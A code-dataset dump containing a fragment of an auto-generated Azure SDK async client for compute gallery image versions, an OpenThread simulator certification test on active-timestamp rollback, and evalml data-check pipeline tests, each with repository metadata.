begin_create_or_update.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/galleries/{galleryName}/images/{galleryImageName}/versions/{galleryImageVersionName}'} async def _update_initial( self, resource_group_name: str, gallery_name: str, gallery_image_name: str, gallery_image_version_name: str, gallery_image_version: "_models.GalleryImageVersionUpdate", **kwargs: Any ) -> "_models.GalleryImageVersion": cls = kwargs.pop('cls', None) error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) api_version = "2021-07-01" content_type = kwargs.pop("content_type", "application/json") accept = "application/json" url = self._update_initial.metadata['url'] path_format_arguments = { 'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'), 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'galleryName': self._serialize.url("gallery_name", gallery_name, 'str'), 'galleryImageName': self._serialize.url("gallery_image_name", gallery_image_name, 'str'), 'galleryImageVersionName': self._serialize.url("gallery_image_version_name", gallery_image_version_name, 'str'), } url = self._client.format_url(url, **path_format_arguments) query_parameters = {} query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str') header_parameters = {} header_parameters['Content-Type'] = self._serialize.header("content_type", content_type, 'str') header_parameters['Accept'] = self._serialize.header("accept", accept, 'str') body_content_kwargs = {} body_content = self._serialize.body(gallery_image_version, 'GalleryImageVersionUpdate') body_content_kwargs['content'] = body_content request = self._client.patch(url, query_parameters, header_parameters, **body_content_kwargs) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) deserialized = self._deserialize('GalleryImageVersion', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized _update_initial.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/galleries/{galleryName}/images/{galleryImageName}/versions/{galleryImageVersionName}'} async def begin_update( self, resource_group_name: str, gallery_name: str, gallery_image_name: str, gallery_image_version_name: str, gallery_image_version: "_models.GalleryImageVersionUpdate", **kwargs: Any ) -> AsyncLROPoller["_models.GalleryImageVersion"]: polling = kwargs.pop('polling', True) cls = kwargs.pop('cls', None) lro_delay = kwargs.pop( 'polling_interval', self._config.polling_interval ) cont_token = kwargs.pop('continuation_token', None) if cont_token is None: raw_result = await self._update_initial( resource_group_name=resource_group_name, gallery_name=gallery_name, gallery_image_name=gallery_image_name, gallery_image_version_name=gallery_image_version_name, gallery_image_version=gallery_image_version, cls=lambda x,y,z: x, **kwargs ) kwargs.pop('error_map', None) kwargs.pop('content_type', None) def get_long_running_output(pipeline_response): deserialized = self._deserialize('GalleryImageVersion', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized path_format_arguments = { 'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'), 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'galleryName': self._serialize.url("gallery_name", gallery_name, 'str'), 'galleryImageName': self._serialize.url("gallery_image_name", gallery_image_name, 'str'), 'galleryImageVersionName': self._serialize.url("gallery_image_version_name", gallery_image_version_name, 'str'), } if polling is True: polling_method = AsyncARMPolling(lro_delay, path_format_arguments=path_format_arguments, **kwargs) elif polling is False: polling_method = AsyncNoPolling() else: polling_method = polling if cont_token: return AsyncLROPoller.from_continuation_token( polling_method=polling_method, continuation_token=cont_token, client=self._client, deserialization_callback=get_long_running_output ) else: return AsyncLROPoller(self._client, raw_result, get_long_running_output, polling_method) begin_update.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/galleries/{galleryName}/images/{galleryImageName}/versions/{galleryImageVersionName}'} async def get( self, resource_group_name: str, gallery_name: str, gallery_image_name: str, gallery_image_version_name: str, expand: Optional[Union[str, "_models.ReplicationStatusTypes"]] = None, **kwargs: Any ) -> "_models.GalleryImageVersion": cls = kwargs.pop('cls', None) error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) api_version = "2021-07-01" accept = "application/json" url = self.get.metadata['url'] path_format_arguments = { 'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'), 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'galleryName': self._serialize.url("gallery_name", gallery_name, 'str'), 'galleryImageName': self._serialize.url("gallery_image_name", gallery_image_name, 'str'), 'galleryImageVersionName': self._serialize.url("gallery_image_version_name", gallery_image_version_name, 'str'), } url = self._client.format_url(url, **path_format_arguments) query_parameters = {} if expand is not None: query_parameters['$expand'] = self._serialize.query("expand", expand, 'str') query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str') header_parameters = {} header_parameters['Accept'] = self._serialize.header("accept", accept, 'str') request = self._client.get(url, query_parameters, header_parameters) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) deserialized = self._deserialize('GalleryImageVersion', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized get.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/galleries/{galleryName}/images/{galleryImageName}/versions/{galleryImageVersionName}'} async def _delete_initial( self, resource_group_name: str, gallery_name: str, gallery_image_name: str, gallery_image_version_name: str, **kwargs: Any ) -> None: cls = kwargs.pop('cls', None) error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) api_version = "2021-07-01" accept = "application/json" url = self._delete_initial.metadata['url'] path_format_arguments = { 'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'), 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'galleryName': self._serialize.url("gallery_name", gallery_name, 'str'), 'galleryImageName': self._serialize.url("gallery_image_name", gallery_image_name, 'str'), 'galleryImageVersionName': self._serialize.url("gallery_image_version_name", gallery_image_version_name, 'str'), } url = self._client.format_url(url, **path_format_arguments) query_parameters = {} query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str') header_parameters = {} header_parameters['Accept'] = self._serialize.header("accept", accept, 'str') request = self._client.delete(url, query_parameters, header_parameters) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200, 202, 204]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) if cls: return cls(pipeline_response, None, {}) _delete_initial.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/galleries/{galleryName}/images/{galleryImageName}/versions/{galleryImageVersionName}'} async def begin_delete( self, resource_group_name: str, gallery_name: str, gallery_image_name: str, gallery_image_version_name: str, **kwargs: Any ) -> AsyncLROPoller[None]: polling = kwargs.pop('polling', True) cls = kwargs.pop('cls', None) lro_delay = kwargs.pop( 'polling_interval', self._config.polling_interval ) cont_token = kwargs.pop('continuation_token', None) if cont_token is None: raw_result = await self._delete_initial( resource_group_name=resource_group_name, gallery_name=gallery_name, gallery_image_name=gallery_image_name, gallery_image_version_name=gallery_image_version_name, cls=lambda x,y,z: x, **kwargs ) kwargs.pop('error_map', None) kwargs.pop('content_type', None) def get_long_running_output(pipeline_response): if cls: return cls(pipeline_response, None, {}) path_format_arguments = { 'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'), 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'galleryName': self._serialize.url("gallery_name", gallery_name, 'str'), 'galleryImageName': self._serialize.url("gallery_image_name", gallery_image_name, 'str'), 'galleryImageVersionName': self._serialize.url("gallery_image_version_name", gallery_image_version_name, 'str'), } if polling is True: polling_method = AsyncARMPolling(lro_delay, path_format_arguments=path_format_arguments, **kwargs) elif polling is False: polling_method = AsyncNoPolling() else: polling_method = polling if cont_token: return AsyncLROPoller.from_continuation_token( polling_method=polling_method, continuation_token=cont_token, client=self._client, deserialization_callback=get_long_running_output ) else: return AsyncLROPoller(self._client, raw_result, get_long_running_output, polling_method) begin_delete.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/galleries/{galleryName}/images/{galleryImageName}/versions/{galleryImageVersionName}'} def list_by_gallery_image( self, resource_group_name: str, gallery_name: str, gallery_image_name: str, **kwargs: Any ) -> AsyncIterable["_models.GalleryImageVersionList"]: cls = kwargs.pop('cls', None) error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) api_version = "2021-07-01" accept = "application/json" def prepare_request(next_link=None): header_parameters = {} header_parameters['Accept'] = self._serialize.header("accept", accept, 'str') if not next_link: url = self.list_by_gallery_image.metadata['url'] path_format_arguments = { 'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'), 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'galleryName': self._serialize.url("gallery_name", gallery_name, 'str'), 'galleryImageName': self._serialize.url("gallery_image_name", gallery_image_name, 'str'), } url = self._client.format_url(url, **path_format_arguments) query_parameters = {} query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str') request = self._client.get(url, query_parameters, header_parameters) else: url = next_link query_parameters = {} request = self._client.get(url, query_parameters, header_parameters) return request async def extract_data(pipeline_response): deserialized = self._deserialize('GalleryImageVersionList', pipeline_response) list_of_elem = deserialized.value if cls: list_of_elem = cls(list_of_elem) return deserialized.next_link or None, AsyncList(list_of_elem) async def get_next(next_link=None): request = prepare_request(next_link) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) return pipeline_response return AsyncItemPaged( get_next, extract_data ) list_by_gallery_image.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/galleries/{galleryName}/images/{galleryImageName}/versions'}
true
true
f71f1d3378d6065dda7b43ab34672dde211e3e2f
6,011
py
Python
tests/scripts/thread-cert/Cert_9_2_18_RollBackActiveTimestamp.py
ctan-g/openthread
376f35a49e5c0a5b8170c117d7a930e3a8b3b210
[ "BSD-3-Clause" ]
1
2020-08-12T06:15:53.000Z
2020-08-12T06:15:53.000Z
tests/scripts/thread-cert/Cert_9_2_18_RollBackActiveTimestamp.py
ctan-g/openthread
376f35a49e5c0a5b8170c117d7a930e3a8b3b210
[ "BSD-3-Clause" ]
null
null
null
tests/scripts/thread-cert/Cert_9_2_18_RollBackActiveTimestamp.py
ctan-g/openthread
376f35a49e5c0a5b8170c117d7a930e3a8b3b210
[ "BSD-3-Clause" ]
null
null
null
#!/usr/bin/env python3 # # Copyright (c) 2016, The OpenThread Authors. # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # 1. Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # 2. Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # 3. Neither the name of the copyright holder nor the # names of its contributors may be used to endorse or promote products # derived from this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. # import unittest import config import thread_cert KEY1 = '00112233445566778899aabbccddeeff' KEY2 = 'ffeeddccbbaa99887766554433221100' CHANNEL_INIT = 19 PANID_INIT = 0xface COMMISSIONER = 1 LEADER = 2 ROUTER1 = 3 ROUTER2 = 4 ED1 = 5 SED1 = 6 MTDS = [ED1, SED1] class Cert_9_2_18_RollBackActiveTimestamp(thread_cert.TestCase): SUPPORT_NCP = False TOPOLOGY = { COMMISSIONER: { 'active_dataset': { 'timestamp': 1, 'panid': PANID_INIT, 'channel': CHANNEL_INIT, 'master_key': '00112233445566778899aabbccddeeff' }, 'mode': 'rsdn', 'router_selection_jitter': 1, 'whitelist': [LEADER] }, LEADER: { 'active_dataset': { 'timestamp': 1, 'panid': PANID_INIT, 'channel': CHANNEL_INIT, 'master_key': '00112233445566778899aabbccddeeff' }, 'mode': 'rsdn', 'partition_id': 0xffffffff, 'router_selection_jitter': 1, 'whitelist': [COMMISSIONER, ROUTER1] }, ROUTER1: { 'active_dataset': { 'timestamp': 1, 'panid': PANID_INIT, 'channel': CHANNEL_INIT, 'master_key': '00112233445566778899aabbccddeeff' }, 'mode': 'rsdn', 'router_selection_jitter': 1, 'whitelist': [LEADER, ROUTER2, ED1, SED1] }, ROUTER2: { 'active_dataset': { 'timestamp': 1, 'panid': PANID_INIT, 'channel': CHANNEL_INIT, 'master_key': '00112233445566778899aabbccddeeff' }, 'mode': 'rsdn', 'router_selection_jitter': 1, 'whitelist': [ROUTER1] }, ED1: { 'channel': CHANNEL_INIT, 'is_mtd': True, 'masterkey': '00112233445566778899aabbccddeeff', 'mode': 'rsn', 'panid': PANID_INIT, 'whitelist': [ROUTER1] }, SED1: { 'channel': CHANNEL_INIT, 'is_mtd': True, 'masterkey': '00112233445566778899aabbccddeeff', 'mode': 's', 'panid': PANID_INIT, 'timeout': config.DEFAULT_CHILD_TIMEOUT, 'whitelist': [ROUTER1] }, } def test(self): self.nodes[LEADER].start() self.simulator.go(5) self.assertEqual(self.nodes[LEADER].get_state(), 'leader') self.nodes[COMMISSIONER].start() self.simulator.go(5) self.assertEqual(self.nodes[COMMISSIONER].get_state(), 'router') self.nodes[COMMISSIONER].commissioner_start() self.simulator.go(3) self.nodes[ROUTER1].start() self.simulator.go(5) self.assertEqual(self.nodes[ROUTER1].get_state(), 'router') self.nodes[ED1].start() self.simulator.go(5) self.assertEqual(self.nodes[ED1].get_state(), 'child') self.nodes[SED1].start() self.simulator.go(5) self.assertEqual(self.nodes[SED1].get_state(), 'child') self.nodes[COMMISSIONER].send_mgmt_active_set(active_timestamp=20000, network_name='GRL') self.simulator.go(5) self.nodes[COMMISSIONER].send_mgmt_pending_set( pending_timestamp=20, active_timestamp=20, delay_timer=20000, network_name='Shouldnotbe', ) self.simulator.go(5) self.nodes[COMMISSIONER].send_mgmt_pending_set( pending_timestamp=20, active_timestamp=20, delay_timer=20000, network_name='MyHouse', master_key=KEY2, ) self.simulator.go(310) self.assertEqual(self.nodes[COMMISSIONER].get_masterkey(), KEY2) self.assertEqual(self.nodes[LEADER].get_masterkey(), KEY2) self.assertEqual(self.nodes[ROUTER1].get_masterkey(), KEY2) self.assertEqual(self.nodes[ED1].get_masterkey(), KEY2) self.assertEqual(self.nodes[SED1].get_masterkey(), KEY2) self.assertEqual(self.nodes[ROUTER2].get_masterkey(), KEY1) self.nodes[ROUTER2].start() self.simulator.go(5) self.assertEqual(self.nodes[ROUTER2].get_state(), 'leader') if __name__ == '__main__': unittest.main()
34.153409
97
0.613875
import unittest import config import thread_cert KEY1 = '00112233445566778899aabbccddeeff' KEY2 = 'ffeeddccbbaa99887766554433221100' CHANNEL_INIT = 19 PANID_INIT = 0xface COMMISSIONER = 1 LEADER = 2 ROUTER1 = 3 ROUTER2 = 4 ED1 = 5 SED1 = 6 MTDS = [ED1, SED1] class Cert_9_2_18_RollBackActiveTimestamp(thread_cert.TestCase): SUPPORT_NCP = False TOPOLOGY = { COMMISSIONER: { 'active_dataset': { 'timestamp': 1, 'panid': PANID_INIT, 'channel': CHANNEL_INIT, 'master_key': '00112233445566778899aabbccddeeff' }, 'mode': 'rsdn', 'router_selection_jitter': 1, 'whitelist': [LEADER] }, LEADER: { 'active_dataset': { 'timestamp': 1, 'panid': PANID_INIT, 'channel': CHANNEL_INIT, 'master_key': '00112233445566778899aabbccddeeff' }, 'mode': 'rsdn', 'partition_id': 0xffffffff, 'router_selection_jitter': 1, 'whitelist': [COMMISSIONER, ROUTER1] }, ROUTER1: { 'active_dataset': { 'timestamp': 1, 'panid': PANID_INIT, 'channel': CHANNEL_INIT, 'master_key': '00112233445566778899aabbccddeeff' }, 'mode': 'rsdn', 'router_selection_jitter': 1, 'whitelist': [LEADER, ROUTER2, ED1, SED1] }, ROUTER2: { 'active_dataset': { 'timestamp': 1, 'panid': PANID_INIT, 'channel': CHANNEL_INIT, 'master_key': '00112233445566778899aabbccddeeff' }, 'mode': 'rsdn', 'router_selection_jitter': 1, 'whitelist': [ROUTER1] }, ED1: { 'channel': CHANNEL_INIT, 'is_mtd': True, 'masterkey': '00112233445566778899aabbccddeeff', 'mode': 'rsn', 'panid': PANID_INIT, 'whitelist': [ROUTER1] }, SED1: { 'channel': CHANNEL_INIT, 'is_mtd': True, 'masterkey': '00112233445566778899aabbccddeeff', 'mode': 's', 'panid': PANID_INIT, 'timeout': config.DEFAULT_CHILD_TIMEOUT, 'whitelist': [ROUTER1] }, } def test(self): self.nodes[LEADER].start() self.simulator.go(5) self.assertEqual(self.nodes[LEADER].get_state(), 'leader') self.nodes[COMMISSIONER].start() self.simulator.go(5) self.assertEqual(self.nodes[COMMISSIONER].get_state(), 'router') self.nodes[COMMISSIONER].commissioner_start() self.simulator.go(3) self.nodes[ROUTER1].start() self.simulator.go(5) self.assertEqual(self.nodes[ROUTER1].get_state(), 'router') self.nodes[ED1].start() self.simulator.go(5) self.assertEqual(self.nodes[ED1].get_state(), 'child') self.nodes[SED1].start() self.simulator.go(5) self.assertEqual(self.nodes[SED1].get_state(), 'child') self.nodes[COMMISSIONER].send_mgmt_active_set(active_timestamp=20000, network_name='GRL') self.simulator.go(5) self.nodes[COMMISSIONER].send_mgmt_pending_set( pending_timestamp=20, active_timestamp=20, delay_timer=20000, network_name='Shouldnotbe', ) self.simulator.go(5) self.nodes[COMMISSIONER].send_mgmt_pending_set( pending_timestamp=20, active_timestamp=20, delay_timer=20000, network_name='MyHouse', master_key=KEY2, ) self.simulator.go(310) self.assertEqual(self.nodes[COMMISSIONER].get_masterkey(), KEY2) self.assertEqual(self.nodes[LEADER].get_masterkey(), KEY2) self.assertEqual(self.nodes[ROUTER1].get_masterkey(), KEY2) self.assertEqual(self.nodes[ED1].get_masterkey(), KEY2) self.assertEqual(self.nodes[SED1].get_masterkey(), KEY2) self.assertEqual(self.nodes[ROUTER2].get_masterkey(), KEY1) self.nodes[ROUTER2].start() self.simulator.go(5) self.assertEqual(self.nodes[ROUTER2].get_state(), 'leader') if __name__ == '__main__': unittest.main()
true
true
f71f1d706938ce52c44b987b1c1a221da711ca97
5,984
py
Python
evalml/tests/integration_tests/test_data_checks_and_actions_integration.py
ColinRTaylor/evalml
ef4374494b50e22757f44edb753e54efbf71f430
[ "BSD-3-Clause" ]
null
null
null
evalml/tests/integration_tests/test_data_checks_and_actions_integration.py
ColinRTaylor/evalml
ef4374494b50e22757f44edb753e54efbf71f430
[ "BSD-3-Clause" ]
1
2022-02-19T12:59:09.000Z
2022-02-19T12:59:09.000Z
evalml/tests/integration_tests/test_data_checks_and_actions_integration.py
isabella232/evalml
5b372d0dfac05ff9b7e41eb494a9df1bf2da4a9d
[ "BSD-3-Clause" ]
null
null
null
import numpy as np import pandas as pd import pytest import woodwork as ww from pandas.testing import assert_frame_equal, assert_series_equal from evalml.automl import get_default_primary_search_objective from evalml.data_checks import DefaultDataChecks, OutliersDataCheck from evalml.data_checks.invalid_target_data_check import InvalidTargetDataCheck from evalml.data_checks.null_data_check import NullDataCheck from evalml.pipelines import BinaryClassificationPipeline from evalml.pipelines.components import ( DropColumns, DropRowsTransformer, TargetImputer, ) from evalml.pipelines.components.transformers.imputers.per_column_imputer import ( PerColumnImputer, ) from evalml.pipelines.multiclass_classification_pipeline import ( MulticlassClassificationPipeline, ) from evalml.pipelines.regression_pipeline import RegressionPipeline from evalml.pipelines.utils import make_pipeline_from_data_check_output def test_data_checks_with_healthy_data(X_y_binary): # Checks do not return any error. X, y = X_y_binary data_check = DefaultDataChecks( "binary", get_default_primary_search_objective("binary") ) data_checks_output = data_check.validate(X, y) assert make_pipeline_from_data_check_output( "binary", data_checks_output ) == BinaryClassificationPipeline(component_graph={}, parameters={}, random_seed=0) def test_data_checks_suggests_drop_and_impute_cols(): X = pd.DataFrame( { "null_with_categorical": ["a", None, "b", "c", "c"], "lots_of_null": [None, 7, None, 3, 5], "all_null": [None, None, None, None, None], "no_null": [1, 2, 3, 4, 5], } ) X.ww.init(logical_types={"null_with_categorical": "categorical"}) y = pd.Series([1, 0, 0, 1, 1]) data_check = NullDataCheck() data_checks_output = data_check.validate(X, y) action_pipeline = make_pipeline_from_data_check_output("binary", data_checks_output) assert action_pipeline == BinaryClassificationPipeline( component_graph={ "Per Column Imputer": [PerColumnImputer, "X", "y"], "Drop Columns Transformer": [ DropColumns, "Per Column Imputer.x", "y", ], }, parameters={ "Per Column Imputer": { "impute_strategies": { "null_with_categorical": {"impute_strategy": "most_frequent"}, "lots_of_null": {"impute_strategy": "mean"}, }, "default_impute_strategy": "most_frequent", }, "Drop Columns Transformer": {"columns": ["all_null"]}, }, random_seed=0, ) X_expected = pd.DataFrame( { "null_with_categorical": ["a", "c", "b", "c", "c"], "lots_of_null": [5, 7, 5, 3, 5], "no_null": [1, 2, 3, 4, 5], } ) X_expected.ww.init( logical_types={"lots_of_null": "double", "null_with_categorical": "categorical"} ) action_pipeline.fit(X, y) X_t = action_pipeline.transform(X, y) assert_frame_equal(X_expected, X_t) @pytest.mark.parametrize("problem_type", ["binary", "multiclass", "regression"]) def test_data_checks_impute_cols(problem_type): X = pd.DataFrame() if problem_type == "binary": y = ww.init_series(pd.Series([0, 1, 1, None, None])) objective = "Log Loss Binary" expected_pipeline_class = BinaryClassificationPipeline y_expected = ww.init_series(pd.Series([0, 1, 1, 1, 1]), logical_type="double") elif problem_type == "multiclass": y = ww.init_series(pd.Series([0, 1, 2, 2, None])) objective = "Log Loss Multiclass" expected_pipeline_class = MulticlassClassificationPipeline y_expected = ww.init_series(pd.Series([0, 1, 2, 2, 2]), logical_type="double") else: y = ww.init_series(pd.Series([0, 0.1, 0.2, None, None])) objective = "R2" expected_pipeline_class = RegressionPipeline y_expected = ww.init_series( pd.Series([0, 0.1, 0.2, 0.1, 0.1]), logical_type="double" ) data_check = InvalidTargetDataCheck(problem_type, objective) data_checks_output = data_check.validate(None, y) action_pipeline = make_pipeline_from_data_check_output( problem_type, data_checks_output ) expected_parameters = ( {"Target Imputer": {"impute_strategy": "mean", "fill_value": None}} if problem_type == "regression" else { "Target Imputer": {"impute_strategy": "most_frequent", "fill_value": None} } ) assert action_pipeline == expected_pipeline_class( component_graph={"Target Imputer": [TargetImputer, "X", "y"]}, parameters=expected_parameters, random_seed=0, ) action_pipeline.fit(X, y) _, y_t = action_pipeline.transform(X, y) assert_series_equal(y_expected, y_t) def test_data_checks_suggests_drop_rows(): a = np.arange(10) * 0.01 data = np.tile(a, (100, 10)) X = pd.DataFrame(data=data) X.iloc[0, 3] = 1000 X.iloc[3, 25] = 1000 X.iloc[5, 55] = 10000 X.iloc[10, 72] = -1000 X.iloc[:, 90] = "string_values" y = pd.Series(np.tile([0, 1], 50)) outliers_check = OutliersDataCheck() data_checks_output = outliers_check.validate(X) action_pipeline = make_pipeline_from_data_check_output("binary", data_checks_output) assert action_pipeline == BinaryClassificationPipeline( component_graph={"Drop Rows Transformer": [DropRowsTransformer, "X", "y"]}, parameters={"Drop Rows Transformer": {"indices_to_drop": [0, 3, 5, 10]}}, random_seed=0, ) X_expected = X.drop([0, 3, 5, 10]) X_expected.ww.init() y_expected = y.drop([0, 3, 5, 10]) action_pipeline.fit(X, y) X_t, y_t = action_pipeline.transform(X, y) assert_frame_equal(X_expected, X_t) assert_series_equal(y_expected, y_t)
35.832335
88
0.653242
import numpy as np import pandas as pd import pytest import woodwork as ww from pandas.testing import assert_frame_equal, assert_series_equal from evalml.automl import get_default_primary_search_objective from evalml.data_checks import DefaultDataChecks, OutliersDataCheck from evalml.data_checks.invalid_target_data_check import InvalidTargetDataCheck from evalml.data_checks.null_data_check import NullDataCheck from evalml.pipelines import BinaryClassificationPipeline from evalml.pipelines.components import ( DropColumns, DropRowsTransformer, TargetImputer, ) from evalml.pipelines.components.transformers.imputers.per_column_imputer import ( PerColumnImputer, ) from evalml.pipelines.multiclass_classification_pipeline import ( MulticlassClassificationPipeline, ) from evalml.pipelines.regression_pipeline import RegressionPipeline from evalml.pipelines.utils import make_pipeline_from_data_check_output def test_data_checks_with_healthy_data(X_y_binary): X, y = X_y_binary data_check = DefaultDataChecks( "binary", get_default_primary_search_objective("binary") ) data_checks_output = data_check.validate(X, y) assert make_pipeline_from_data_check_output( "binary", data_checks_output ) == BinaryClassificationPipeline(component_graph={}, parameters={}, random_seed=0) def test_data_checks_suggests_drop_and_impute_cols(): X = pd.DataFrame( { "null_with_categorical": ["a", None, "b", "c", "c"], "lots_of_null": [None, 7, None, 3, 5], "all_null": [None, None, None, None, None], "no_null": [1, 2, 3, 4, 5], } ) X.ww.init(logical_types={"null_with_categorical": "categorical"}) y = pd.Series([1, 0, 0, 1, 1]) data_check = NullDataCheck() data_checks_output = data_check.validate(X, y) action_pipeline = make_pipeline_from_data_check_output("binary", data_checks_output) assert action_pipeline == BinaryClassificationPipeline( component_graph={ "Per Column Imputer": [PerColumnImputer, "X", "y"], "Drop Columns Transformer": [ DropColumns, "Per Column Imputer.x", "y", ], }, parameters={ "Per Column Imputer": { "impute_strategies": { "null_with_categorical": {"impute_strategy": "most_frequent"}, "lots_of_null": {"impute_strategy": "mean"}, }, "default_impute_strategy": "most_frequent", }, "Drop Columns Transformer": {"columns": ["all_null"]}, }, random_seed=0, ) X_expected = pd.DataFrame( { "null_with_categorical": ["a", "c", "b", "c", "c"], "lots_of_null": [5, 7, 5, 3, 5], "no_null": [1, 2, 3, 4, 5], } ) X_expected.ww.init( logical_types={"lots_of_null": "double", "null_with_categorical": "categorical"} ) action_pipeline.fit(X, y) X_t = action_pipeline.transform(X, y) assert_frame_equal(X_expected, X_t) @pytest.mark.parametrize("problem_type", ["binary", "multiclass", "regression"]) def test_data_checks_impute_cols(problem_type): X = pd.DataFrame() if problem_type == "binary": y = ww.init_series(pd.Series([0, 1, 1, None, None])) objective = "Log Loss Binary" expected_pipeline_class = BinaryClassificationPipeline y_expected = ww.init_series(pd.Series([0, 1, 1, 1, 1]), logical_type="double") elif problem_type == "multiclass": y = ww.init_series(pd.Series([0, 1, 2, 2, None])) objective = "Log Loss Multiclass" expected_pipeline_class = MulticlassClassificationPipeline y_expected = ww.init_series(pd.Series([0, 1, 2, 2, 2]), logical_type="double") else: y = ww.init_series(pd.Series([0, 0.1, 0.2, None, None])) objective = "R2" expected_pipeline_class = RegressionPipeline y_expected = ww.init_series( pd.Series([0, 0.1, 0.2, 0.1, 0.1]), logical_type="double" ) data_check = InvalidTargetDataCheck(problem_type, objective) data_checks_output = data_check.validate(None, y) action_pipeline = make_pipeline_from_data_check_output( problem_type, data_checks_output ) expected_parameters = ( {"Target Imputer": {"impute_strategy": "mean", "fill_value": None}} if problem_type == "regression" else { "Target Imputer": {"impute_strategy": "most_frequent", "fill_value": None} } ) assert action_pipeline == expected_pipeline_class( component_graph={"Target Imputer": [TargetImputer, "X", "y"]}, parameters=expected_parameters, random_seed=0, ) action_pipeline.fit(X, y) _, y_t = action_pipeline.transform(X, y) assert_series_equal(y_expected, y_t) def test_data_checks_suggests_drop_rows(): a = np.arange(10) * 0.01 data = np.tile(a, (100, 10)) X = pd.DataFrame(data=data) X.iloc[0, 3] = 1000 X.iloc[3, 25] = 1000 X.iloc[5, 55] = 10000 X.iloc[10, 72] = -1000 X.iloc[:, 90] = "string_values" y = pd.Series(np.tile([0, 1], 50)) outliers_check = OutliersDataCheck() data_checks_output = outliers_check.validate(X) action_pipeline = make_pipeline_from_data_check_output("binary", data_checks_output) assert action_pipeline == BinaryClassificationPipeline( component_graph={"Drop Rows Transformer": [DropRowsTransformer, "X", "y"]}, parameters={"Drop Rows Transformer": {"indices_to_drop": [0, 3, 5, 10]}}, random_seed=0, ) X_expected = X.drop([0, 3, 5, 10]) X_expected.ww.init() y_expected = y.drop([0, 3, 5, 10]) action_pipeline.fit(X, y) X_t, y_t = action_pipeline.transform(X, y) assert_frame_equal(X_expected, X_t) assert_series_equal(y_expected, y_t)
true
true
f71f1df4f03692a302604099633708d526d10823
241
py
Python
tests/test_legacy.py
kamo-naoyuki/pyopenjtalk
5d111301298ac630d2eae8c0a9e4c1af06b02fa4
[ "MIT" ]
null
null
null
tests/test_legacy.py
